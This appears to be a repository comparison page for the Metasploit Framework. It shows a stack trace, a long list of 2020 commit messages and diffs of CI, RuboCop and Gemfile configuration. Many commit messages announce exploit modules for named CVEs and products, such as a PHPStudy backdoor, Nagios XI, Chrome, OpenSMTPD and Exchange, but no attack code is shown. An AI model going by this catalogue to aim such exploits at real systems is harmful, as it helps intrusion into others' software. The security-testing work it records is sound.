	13: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each_with_object'
	12: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:104:in `each'
	11: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/file_list.rb:105:in `block in compute_coverage_statistics'
	10: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:35:in `coverage_statistics'
	 9: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:333:in `line_coverage_statistics'
	 8: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:241:in `lines_strength'
	 7: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:43:in `lines'
	 6: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:224:in `build_lines'
	 5: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:28:in `src'
	 4: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `load_source'
	 3: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:181:in `open'
	 2: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:189:in `block in load_source'
	 1: from /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `read_lines'
/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/simplecov-0.18.5/lib/simplecov/source_file.rb:202:in `readlines': U+2713 from UTF-8 to ASCII-8BIT (Encoding::UndefinedConversionError)
/home/msfuser/.rvm/rubies/ruby-2.6.5/bin/ruby -I/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/lib:/home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-support-3.9.2/lib /home/msfuser/.rvm/gems/ruby-2.6.5@metasploit-framework/gems/rspec-core-3.9.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
```

Since we expect to support non-ASCII characters in some locations locking the version until a solution is found.  The issue linked above suggest that a test helper may be able to override the open permissions, however since `rake spec` in Travis runs without the simplecov gem this may require some finesse to implement.
2020-03-10 14:59:12 -05:00
Spencer McIntyre 5e1e6e6ab6 Land #13052, add hex-noslashes as a uri encode mode 2020-03-10 15:32:15 -04:00
Adam Galway 0b271f3a0e Land #13041, reduces invalid command time by half 2020-03-10 13:08:49 +00:00
g0t mi1k f301676d04 Grammar fixes
...I think?
https://www.grammarly.com/blog/into-vs-in-to/
2020-03-10 13:00:12 +00:00
g0t mi1k bba65ac090 Fix #13053 - post/windows/manage/migrate & PPID_NAME
If its blank, no point in going forward!
2020-03-10 12:54:00 +00:00
Metasploit def73fb665 automatic module_metadata_base.json update 2020-03-10 07:05:32 -05:00
Adam Galway 0e163c69ab Land #12975, exploits RCE backdoor in PHPStudy 2020-03-10 11:56:26 +00:00
William Vu 09b1fddbd7 Add hex-noslashes to Rex::Proto::Http::Client 2020-03-10 01:21:01 -05:00
Spencer McIntyre a542ce01a1 Land #13050, bump the metasploit-payloads gem 2020-03-09 18:21:21 -04:00
Brent Cook 541f055428 bump metasploit-payloads properly for #12927 2020-03-09 15:08:09 -05:00
Rob Fuller 1d5e274deb Revert "Update to the latest payloads gem"
This reverts commit f8752b8e48.
premature update to the gemfile.log file
2020-03-09 15:08:49 -04:00
Rob Fuller f8752b8e48 Update to the latest payloads gem
This is to fix the socks proxy issues related to #11513 and from https://github.com/rapid7/metasploit-payloads/pull/380
2020-03-09 14:48:17 -04:00
Spencer McIntyre f3d38e147d Replace another use with the target type 2020-03-09 11:43:26 -04:00
Metasploit bd4d3f63e4 automatic module_metadata_base.json update 2020-03-09 10:07:45 -05:00
Christophe De La Fuente 7c54066b0e Land #13004, Nagios XI RCE module 2020-03-09 15:57:58 +01:00
Metasploit 03f31f187b automatic module_metadata_base.json update 2020-03-09 09:48:57 -05:00
Spencer McIntyre b148e9da30 Land #13042, use VHOST when creating the full URI 2020-03-09 10:40:03 -04:00
Metasploit d07fc7f6ee automatic module_metadata_base.json update 2020-03-09 09:33:04 -05:00
Brent Cook b19ed20d0a Land #12990, Add initial rubocop rules to consistently format modules 2020-03-09 09:24:46 -05:00
Brent Cook a10f51e1f9 manually realign shellcode. Note below:
The linter here indents strangely only in the case where you have a
standalone string literal without an assignment nor a return or
function/method call. In all other cases it aligns properly. Given that
this really is easy to work around, with what looks like beneficial code
changes, this is still far worth the benefit.

See https://github.com/rapid7/metasploit-framework/pull/12990#pullrequestreview-369907902
2020-03-09 09:22:01 -05:00
Spencer McIntyre 9bd6fb9e76 Update cve-2020-0618 based on feedback 2020-03-09 09:18:44 -04:00
kalba-security e77ae2256b Triggering checks again because the sanitiy test execution failed. 2020-03-09 12:15:15 +02:00
kalba-security 96ae2cf9a2 Incorporate additional suggestions from code review. 2020-03-09 11:56:15 +02:00
cn-kali-team 2c4b361a6d Replace command line to api 2020-03-07 21:11:45 +08:00
cn-kali-team a1b67b20fc rename 2020-03-07 21:11:33 +08:00
cn-kali-team 48667eda20 rename 2020-03-07 21:11:08 +08:00
cn-kali-team df48d89923 Replace command line to api 2020-03-07 21:10:39 +08:00
cn-kali-team 327440a748 Fix Bug and Add the enumeration function 2020-03-07 21:09:20 +08:00
cn-kali-team 2c3ad585a3 Add the enumeration function 2020-03-07 20:56:58 +08:00
t0-n1 fe8cd52c9d Use VHOST instead of RHOST
The 'vhost_uri: true' enables the successfully exploitation of this vulnerability in environments where you can't use an IP address (RHOST) to access the OWA web page.
2020-03-07 10:43:51 +01:00
Alan Foster 66acec6a57 Cut command missing time in half 2020-03-06 23:32:09 +00:00
Spencer McIntyre 4c004d51a7 Add an exploit for CVE-2020-0618 2020-03-06 16:21:37 -05:00
Metasploit b85cd9b682 automatic module_metadata_base.json update 2020-03-06 12:09:33 -06:00
Spencer McIntyre c75780350e Land #13038, clean up the socket when checking 2020-03-06 13:00:42 -05:00
Christophe De La Fuente e5f2b48274 Ensure client is disconnected when leaving the check method 2020-03-06 17:38:37 +01:00
kalba-security 8b778bffc0 Incorporate suggestions from code review 2020-03-06 15:50:34 +02:00
Alan Foster 3a046f01da Run rubocop -a on subset of files 2020-03-06 10:41:45 +00:00
Alan Foster bfd284b349 Add initial layout cops for the module super hash 2020-03-06 10:41:41 +00:00
Tim W 63f2da278d fix #7366, ignore the ssl cert on PHP web_delivery 2020-03-06 12:32:57 +08:00
bwatters-r7 acc7dd153a Land #13029, Filter payloads by platform and arch for msfvenom
Merge branch 'land-13029' into upstream-master
2020-03-05 14:53:49 -06:00
Metasploit 3b5c6b06a2 automatic module_metadata_base.json update 2020-03-05 13:53:27 -06:00
William Vu 9840951f0d Land #12574, Chrome CVE-2019-5825 exploit 2020-03-05 13:44:40 -06:00
William Vu 87b8182131 Land #12384, Chrome CVE-2018-17463 exploit 2020-03-05 13:44:27 -06:00
Metasploit 56a9b9b637 automatic module_metadata_base.json update 2020-03-05 13:14:34 -06:00
Spencer McIntyre b0bcfc071b Land #12944, fix a bug in owa_login 2020-03-05 14:05:49 -05:00
Metasploit 8f8ee8947d Bump version of framework to 5.0.80 2020-03-05 12:03:58 -06:00
Metasploit 53de5cc543 automatic module_metadata_base.json update 2020-03-05 11:11:16 -06:00
bwatters-r7 bbd82865d6 Land #12985, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12985' into upstream-master
2020-03-05 11:02:33 -06:00
Metasploit 21f4c77787 automatic module_metadata_base.json update 2020-03-05 11:00:58 -06:00
Brent Cook 349051531a Land #12984, update local socket parameters when opening channels 2020-03-05 10:52:12 -06:00
Metasploit eb3cf2fd02 automatic module_metadata_base.json update 2020-03-05 10:51:24 -06:00
Spencer McIntyre eb90bee4a7 Land #12863, add exploit for PHP-FPM Underflow RCE 2020-03-05 11:43:43 -05:00
Brent Cook 40cc170578 bump payload sizes 2020-03-05 10:12:14 -06:00
Brent Cook e83dd2b811 bump payload versions 2020-03-05 10:12:10 -06:00
Metasploit 2790b72384 automatic module_metadata_base.json update 2020-03-05 09:12:36 -06:00
dwelch-r7 4fe7678b01 Land #12910, Add exploit module for apache activemq traversal 2020-03-05 15:05:13 +00:00
dwelch-r7 c7ca43b585 reformat date to iso standard 2020-03-05 15:03:05 +00:00
Christophe De La Fuente 8d6468e725 Fix comments 2020-03-05 13:28:28 +01:00
airevan 630add538f set default index.php 2020-03-05 10:24:22 +08:00
bluesentinelsec 8f020652cc added documentation for install_python module 2020-03-04 20:38:59 -05:00
William Vu 858adb4540 Update comment 2020-03-04 19:31:23 -06:00
William Vu a5db685a83 Filter payloads by platform and arch for msfvenom 2020-03-04 19:26:11 -06:00
Metasploit 513338c2e5 automatic module_metadata_base.json update 2020-03-04 13:41:51 -06:00
Shelby Pace 5698f6e51f Land #13003, add OpenSMTPD LPE module 2020-03-04 13:32:25 -06:00
Adam Galway 65c2b68319 Land #12982, fixes broken url in word_unc_injector 2020-03-04 15:59:27 +00:00
kalba-security 633899402c Split up description 2020-03-04 17:02:34 +02:00
Metasploit a15c981246 automatic module_metadata_base.json update 2020-03-04 08:58:21 -06:00
kalba-security a87a1ae1b4 Split up description 2020-03-04 16:57:36 +02:00
Adam Galway 83132dd733 Land #13008, module for Chrome 80 JScreate exploit 2020-03-04 14:49:59 +00:00
Tim W 9f55e4163f add documentation 2020-03-04 21:31:14 +08:00
Alan Foster 3aeb6597a2 Landing #12980, ensure json is always returned from the json rpc api 2020-03-04 12:14:53 +00:00
Adam Galway dd12e65828 adds middleware and application error handlers 2020-03-04 11:56:32 +00:00
Alan Foster 5ed87be78e Land #12989, internal refactor sanitizing module names before they are loaded 2020-03-04 11:01:26 +00:00
Adam Galway 607b7ae5ae moves logic for bad paths to common.rb 2020-03-04 10:41:19 +00:00
Tim W 7f6f7fea3e add osx as a target 2020-03-04 13:37:19 +08:00
Tim 9f56867f6c Apply suggestions from code review
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-03-04 11:55:33 +07:00
bluesentinelsec 7d1c1f1f16 Added new post module: install_python 2020-03-03 23:02:01 -05:00
William Vu 865d15975b Add automatic grammar selection by version number 2020-03-03 18:44:48 -06:00
William Vu 975eb742cb Add old grammar target and refactor check 2020-03-03 17:41:04 -06:00
William Vu 260aa0533a Add check method and reorder mixins for super
Also fix copypasta'd vulnerable commit.
2020-03-03 17:41:04 -06:00
William Vu c003b0d293 Add module notes 2020-03-03 17:41:04 -06:00
William Vu 9be6b0a81e Add module doc 2020-03-03 17:41:04 -06:00
William Vu 498d01aaa3 Add OpenSMTPD CVE-2020-8794 LPE exploit 2020-03-03 17:41:04 -06:00
Metasploit fe1b85a873 automatic module_metadata_base.json update 2020-03-03 17:32:10 -06:00
William Vu ba924b3047 Land #13014, Exchange ECP ViewState exploit 2020-03-03 17:23:17 -06:00
William Vu 4759f7d39d Check for nil res 2020-03-03 17:17:28 -06:00
William Vu 573b8302ec Fix missing var and change default target 2020-03-03 17:15:19 -06:00
Spencer McIntyre a4feaec188 Implement a check method for cve-2020-0688 2020-03-03 14:22:27 -05:00
Metasploit b4cac0c414 automatic module_metadata_base.json update 2020-03-03 13:21:30 -06:00
Shelby Pace 29dcd0fd81 Land #12929, store enumerated users w DB_ALL_USERS 2020-03-03 13:13:16 -06:00
kalba-security cd6c01ae9d Add suggestions from code review. 2020-03-03 20:17:13 +02:00
0x44434241 fb00818cab Optionally store enumerated SMB usernames in DB.
This responds to issue #12359, where it was noted that enumerated
usernames from this module were not being stored in the database. Since
they are not a credential pair of user:pass, I have made it an optional
feature with 'DB_ALL_USERS', which is consistent with other scanning
modules.
2020-03-03 11:47:28 -06:00
Spencer McIntyre 5574eaa591 Make a new .NET serialization lib 2020-03-03 10:41:59 -05:00
Metasploit f0630d7479 Bump version of framework to 5.0.79 2020-03-02 16:46:42 -06:00
Spencer McIntyre 167f1027c4 Address initial PR feedback 2020-03-02 12:21:24 -05:00
Spencer McIntyre b3867dc200 Finish up the cve-2020-0688 module 2020-03-02 10:51:25 -05:00
Spencer McIntyre 203b2486ae Commit some work on the module for a milestone 2020-03-01 11:07:32 -05:00
cn-kali-team 106ef40376 Add Function alloc_and_write_wstring and alloc_and_write_string 2020-03-01 14:28:46 +08:00
cn-kali-team a147ce907b Add document 2020-03-01 14:27:44 +08:00
cn-kali-team e2e6c15c31 Remove alloc_and_write_str Function, Move structure to accounts.rb file 2020-03-01 14:25:03 +08:00
cn-kali-team 94de45d856 Fix Bug 2020-02-29 23:22:56 +08:00
Tim W 196c354ede chrome 80 jscreate rce 2020-02-29 18:41:04 +08:00
cn-kali-team 60f4787123 Exception handling and automatic get_domain info 2020-02-29 15:26:39 +08:00
cn-kali-team a248983ca8 Change the get_domain function to optional 2020-02-29 15:25:41 +08:00
Tim W 327917c015 add documentation 2020-02-29 15:07:49 +08:00
Tim W 889f91241a add documentation 2020-02-29 14:30:59 +08:00
cn-kali-team 9fa339eca8 Add an option,Fully implemented through API 2020-02-29 00:22:58 +08:00
cn-kali-team e9c16fb2bb New Function and Fix data type in the NetLocalGroupAddMembers parameter 2020-02-29 00:20:09 +08:00
cn-kali-team 2ef04153b4 Add Api Constants 2020-02-29 00:18:48 +08:00
cn-kali-team 1420fa9d8b Add Function 2020-02-29 00:14:55 +08:00
Spencer McIntyre 078652749d Switch how channel class args are passed around 2020-02-28 10:10:47 -05:00
Spencer McIntyre 29608d13bf Save some work before changing context 2020-02-28 08:30:59 -05:00
kalba-security f60f60db7f Set stance to aggressive to prevent the HTTPServer mixing from trying to make this a job 2020-02-28 13:01:51 +02:00
kalba-security a4ded39d62 Remove unnecessary empty lines in docs. Mostly to restart the Travis CI build check because it got stuck. 2020-02-28 10:34:14 +02:00
Spencer McIntyre c9d9d3af29 Figured out how to generate the viewstate 2020-02-27 21:57:08 -05:00
kalba-security 99ed3afab3 Change filenames for consistency with existing modules 2020-02-27 17:08:23 +02:00
kalba-security 280d1767b4 Add Nagios XI < 5.6.6. exploit module and documentation 2020-02-27 16:58:15 +02:00
cn-kali-team ee64f38d8c Added post module for adding local user accounts 2020-02-25 20:03:05 +08:00
cn-kali-team 04d54bc786 Added additional netapi32.dll functions 2020-02-25 20:00:21 +08:00
cn-kali-team 87ee307183 Add New Function 2020-02-25 19:59:36 +08:00
ticofoo cfd9b12a13 Change handling of elapsed_time as suggested by acammack-r7 2020-02-25 10:14:02 +01:00
Tim W fc1f4936ac fix reverse_powershell on Windows 7 2020-02-25 16:40:19 +08:00
Spencer McIntyre d231c17af8 Show the source port too in the connect command 2020-02-24 19:08:32 -05:00
Spencer McIntyre e5fc41a22f Refactor the initialize method to use 'packet' 2020-02-24 14:01:01 -05:00
PierrickV a4c97a0a09 Fix broken links to http://jedicorp.com/?p=534 with archive.org 2020-02-24 18:17:06 +01:00
Tim W b8e19959e0 Revert "Land #12970, revert reverse_powershell changes"
This reverts commit 7aa89c9d4e, reversing
changes made to 8a5db82224.
2020-02-23 19:22:20 +08:00
airevan 5a58fbb0e5 Remove space 2020-02-23 14:45:53 +08:00
airevan d102f3e48f Remove space 2020-02-23 13:03:13 +08:00
airevan adaa9e239a Add phpstudy backdoor exploit module 2020-02-23 10:23:32 +08:00
airevan bb7ed355f0 Add phpstudy backdoor exploit module 2020-02-22 22:55:45 +08:00
airevan 6a07160bd5 Add phpstudy backdoor exploit module 2020-02-22 19:53:06 +08:00
ide0x90 ac482a0d31 Typo in documentation 2020-02-19 23:32:07 +08:00
Spencer McIntyre e5befa676f Fix a bug with te tcp_server_channel 2020-02-18 16:06:46 -05:00
Spencer McIntyre 57ef3d9ec6 Use the updated value when port forwarding 2020-02-18 15:31:14 -05:00
Spencer McIntyre 28e9bc5d14 Move the params_hash_from_response class method 2020-02-18 14:17:00 -05:00
Spencer McIntyre 0459e05420 Update returned socket parameters from meterpreter 2020-02-18 00:36:04 -05:00
ticofoo cfd41c49ec Fix bug in owa_login if AUTH_TIME is set to false 2020-02-17 23:32:25 +01:00
Christophe De La Fuente 1b54d27301 Update code #2
- Make error message more descriptive
- Use `Rex.sleep` in stead of `sleep`
- Update `detect_qsl` logic
- Change the first `Exploit::CheckCode` to `Unknown` for the `Check` method
2020-02-17 19:04:32 +01:00
Christophe De La Fuente 828d974db5 Update code and documentation
- Add `OperationMaxRetries` option documentation
- Add default value to `TARGETURI` and update the documentation
- Remove `PosOffset` advanced option and hardcode the value
- Update `Description`
- Move URI encoding logic to `send_crafted_request`
- Refactor `send_crafted_request` to handle the HTTP parameter and final & (%26)
2020-02-17 18:25:10 +01:00
Christophe De La Fuente 0e9c637364 Randomize filename and HTTP parameter 2020-02-17 15:58:21 +01:00
Christophe De La Fuente 226f4b0a53 Line wrap to 80 columns and small fix
- Line wrap documentation to 80 columns
- Line wrap `Description` field to 80 columns
- Remove unnecessary unless statement
2020-02-17 13:06:32 +01:00
Tim W 3a89bef6c4 improve description 2020-02-15 10:37:15 +08:00
Christophe De La Fuente 9193ace50b Add documentation 2020-02-14 17:17:45 -06:00
Christophe De La Fuente 351c0d1651 Small improvements 2020-02-14 17:16:27 -06:00
Tim W d95391b7f4 minor refactor 2020-02-15 06:10:52 +08:00
Tim W 55d5e55c5e use simpler wasm code 2020-02-15 06:10:52 +08:00
Tim W 4b92403bba fix? 2020-02-15 06:10:52 +08:00
Tim W 5420007dff add support for osx and windows using wasm rwx region 2020-02-15 06:10:52 +08:00
Tim W f6343f35aa attempt to speed up pop_r9 gadget search 2020-02-15 06:10:52 +08:00
Tim W bb4007747b fix 2020-02-15 06:10:52 +08:00
Tim W 35dac6ea5f no offsets 2020-02-15 06:10:52 +08:00
Tim W 59ed3e5948 dynamic offsets 2020-02-15 06:10:52 +08:00
Tim W 2efc381115 strcmp 2020-02-15 06:10:52 +08:00
Tim W 6fa086a0ab add debugging option 2020-02-15 06:10:52 +08:00
Tim W bbbb9565a4 fix win7 2020-02-15 06:10:52 +08:00
Tim W d644f2d9c7 chrome 69.0.3497.100 --no-sandbox calc.exe 2020-02-15 06:10:52 +08:00
Tim W d6c3e4ad56 fix wasm finder to match pr description 2020-02-15 01:09:27 +08:00
Tim W 94287c94ff fix discovery and references 2020-02-15 00:39:48 +08:00
RAMELLA Sébastien 27effc1b56 typo. cmdstager command 2020-02-14 12:25:56 +04:00
ide0x90 7a0bf69eb0 Major refactor, and more complete testing with cmd/unix payloads 2020-02-07 19:34:18 +08:00
kalba-security 2360b0e2ff clean up module using msftidy 2020-02-04 13:14:03 +02:00
kalba-security 20386f1aa4 Add apache_activemq_traversal_upload module and documentation 2020-02-04 12:01:41 +02:00
RAMELLA Sébastien c8e5fcf389 add. cmdstager for drop meterpreter 2020-02-03 16:46:15 +04:00
RAMELLA Sébastien 355b9c135f add initial source code. 2020-02-03 13:52:56 +04:00
ide0x90 6504c01668 Made module work with CmdStager 2020-01-31 13:29:04 +08:00
Christophe De La Fuente dab4291016 Update header name 2020-01-23 18:50:10 +01:00
İsmail Taşdelen 24af710a4e Update tautulli_shutdown_exec.md 2020-01-21 16:15:13 +03:00
İsmail Taşdelen aefa9f3984 Update tautulli_shutdown_exec.md 2020-01-21 16:15:01 +03:00
İsmail Taşdelen a02f4caabd Update tautulli_shutdown_exec.md 2020-01-21 16:13:09 +03:00
İsmail Taşdelen 7a2fba86f1 Update tautulli_shutdown_exec.md 2020-01-21 16:08:54 +03:00
İsmail Taşdelen e982f0b890 Update tautulli_shutdown_exec.md 2020-01-21 16:07:43 +03:00
İsmail Taşdelen 69fbd195ae Update tautulli_shutdown_exec.md 2020-01-21 16:05:29 +03:00
Christophe De La Fuente daaa8cf857 Add PHP-FPM Underflow RCE module 2020-01-20 20:07:34 +01:00
Nicholas Starke ef4b72cc5a Adding EDB reference 2020-01-17 07:49:28 -06:00
İsmail Taşdelen 574bfbed84 add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
2020-01-17 13:57:32 +03:00
Nicholas Starke 0387d09e67 Changing faulty parameter descriptions 2020-01-13 10:09:06 -06:00
Nicholas Starke 8593f68c14 Adding Cable Haunt WebSocket DoS Module
This module exploits a vulnerability in Sagecom
Cable Modems from a variety of manufacturers. Since
the firmware for vulnerable modems will vary based
on Make, Model, and ISP, this module can only be
used to verify the presence of the vulnerability,
and not actually return a shell. Successful
exploitation will most likely disrupt all upstream
services. Module documentation is included in this
commit.
2020-01-12 19:56:42 -06:00
Nicholas Starke cf822bf1c4 Fixing syntax errors 2020-01-05 10:35:09 -06:00
Nicholas Starke e3a5f6bcb6 Addressing PR Comments 2020-01-05 10:12:51 -06:00
Nicholas Starke ce09435d82 Fixing module documentation 2020-01-05 10:03:24 -06:00
ide0x90 44489f0326 Using heredoc, streamlined check for PowerShell, improved docs. 2019-12-29 12:00:50 +08:00
ide0x90 4fb2e92a8f Cleanup according to Rubocop 2019-12-29 02:04:06 +08:00
ide0x90 daae0886fa Included lazy and manual check for Bash.
More code cleanup, reducing use of class variables.
Normalized all the URIs.
Created a function to wrap GET requests to the target.
2019-12-29 01:32:44 +08:00
ide0x90 65e7354ee6 Added TARGETURI 2019-12-27 15:48:37 +08:00
ide0x90 ce01137525 More cleanup. Better check. Encoding issues over with (hopefully). 2019-12-27 15:16:09 +08:00
ide0x90 f15bbc1340 Merge branch 'solr820-rce' of github.com:ide0x90/metasploit-framework into solr820-rce 2019-12-27 00:15:02 +08:00
ide0x90 29b306fedf Cleanup sweep the 2nd as per suggestions from @bcoles 2019-12-27 00:13:49 +08:00
ide0x90 92accda770 Cleanup sweep the 2nd as per @bcole 's suggestions 2019-12-27 00:12:17 +08:00
ide0x90 046d8cbedc REALLY added documentation.
Made module work with base64.
Cleaned up template as per @acammack-r7 's suggestions.
2019-12-26 23:35:34 +08:00
ide0x90 242cee3060 Improved target verification and added documentation. 2019-12-26 20:22:21 +08:00
ide0x90 f637254ab2 Initial commit for module exploit/multi/http/solr_velocity_rce 2019-12-26 18:12:42 +08:00
Nicholas Starke 13cadbf3f1 Adding DLINK DWL-2600 Command Injection Module
This module takes advantage of a previously discovered command injection
vulnerability in DLINK DWL-2600 WiFi Access points.  This vulnerability
is authenticated, and the module is responsible for retrieving a valid
authentication token.
2019-12-24 12:31:49 -06:00
Tim 0e076d286e Update modules/exploits/multi/browser/chrome_array_map.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-13 12:47:21 +07:00
Tim W 46d759eca9 add support for Chrome 68.0.3440.84 2019-11-15 17:42:16 +08:00
Tim W 4ef54518ed add support for OSX and 69.0.3497.100 2019-11-15 16:12:49 +08:00
Tim W 04dd5162cf Add CVE-2019-5825, Chrome 73 1-day Array.map --no-sandbox exploit 2019-11-13 22:26:44 +08:00
holdonasec fc82d508d8 remove weird loop 2019-09-11 15:17:06 -04:00
Pedro Ribeiro 825d93786e Merge pull request #11 from rapid7/master
aaaa
2019-08-31 14:03:43 +07:00
holdonasec 1064aa3f55 Suggested changes
- Remove unused `test` variable

 - Update `print` to `print_line`

 - Use `Rex` for base64 encoding
2019-07-17 14:29:57 -04:00
holdonasec b9c2ec60f5 Add DNN Cookie Deserialization RCE Exploit 2019-07-16 12:16:53 -04:00
300 changed files with 15402 additions and 2390 deletions
+15
View File
@@ -0,0 +1,15 @@
labels:
- name: needs-docs
labeled:
pr:
body: |
Thanks for your pull request, before this can be merged - corresponding documentation for your module is required:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
action: open
unlabeled:
issue:
body: |
Thank you for adding module documentation :tada:
action: open
+29
View File
@@ -0,0 +1,29 @@
#
# Automatically respond to any issues/pull requests that have the given labels assigned.
#
name: Label Commenter
on:
issues:
types:
- labeled
- unlabeled
pull_request:
types:
- labeled
- unlabeled
jobs:
comment:
runs-on: ubuntu-18.04
steps:
- uses: actions/checkout@v2
with:
ref: master
- name: Label Commenter
# Note: Using SHA explicitly for v1.2.3 - https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
uses: peaceiris/actions-label-commenter@93941f8f189a4b92ab75059aa39fe421469253f4
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
config_file: .github/label-commenter-config.yml
+68 -21
View File
@@ -11,6 +11,16 @@
AllCops:
TargetRubyVersion: 2.4
require:
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
- ./lib/rubocop/cop/layout/module_description_indentation.rb
Layout/ModuleHashOnNewLine:
Enabled: true
Layout/ModuleDescriptionIndentation:
Enabled: true
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
@@ -59,6 +69,25 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/FirstArgumentIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/ArgumentAlignment:
Enabled: true
EnforcedStyle: with_first_argument
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementLineBreak:
Enabled: true
Description: 'Enforce consistency by breaking hash elements on to new lines'
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'Almost all module metadata have space in brackets'
@@ -93,26 +122,26 @@ Style/TrailingCommaInArrayLiteral:
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Naming/MethodParameterName:
Naming/MethodParameterName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
@@ -126,13 +155,10 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/HashAlignment:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/FirstArrayElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful to force values within the register_options array to have sane indentation'
Layout/EmptyLinesAroundClassBody:
Enabled: false
@@ -142,19 +168,24 @@ Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/ParameterAlignment:
Layout/ExtraSpacing:
Description: 'Do not use unnecessary spacing.'
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
# When true, allows most uses of extra spacing if the intent is to align
# things with the previous or next line, not counting empty lines or comment
# lines.
AllowForAlignment: false
# When true, allows things like 'obj.meth(arg) # comment',
# rather than insisting on 'obj.meth(arg) # comment'.
# If done for alignment, either this OR AllowForAlignment will allow it.
AllowBeforeTrailingComments: false
# When true, forces the alignment of `=` in assignments on consecutive lines.
ForceEqualSignAlignment: false
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
@@ -163,6 +194,22 @@ Style/IfUnlessModifier:
Enabled: false
Description: 'This style might save a couple of lines, but often makes code less clear'
Style/PercentLiteralDelimiters:
Description: 'Use `%`-literal delimiters consistently.'
Enabled: true
# Specify the default preferred delimiter for all types with the 'default' key
# Override individual delimiters (even with default specified) by specifying
# an individual key
PreferredDelimiters:
default: ()
'%i': '[]'
'%I': '[]'
'%r': '{}'
'%w': '[]'
'%W': '[]'
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
VersionChanged: '0.48.1'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
+6 -1
View File
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
gem 'simplecov'
gem 'simplecov', '0.18.2'
end
group :development do
@@ -20,6 +20,10 @@ group :development do
gem 'pry-byebug'
# module documentation
gem 'octokit'
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
@@ -36,6 +40,7 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'rubocop'
gem 'swagger-blocks'
end
+58 -36
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (5.0.78)
metasploit-framework (5.0.83)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
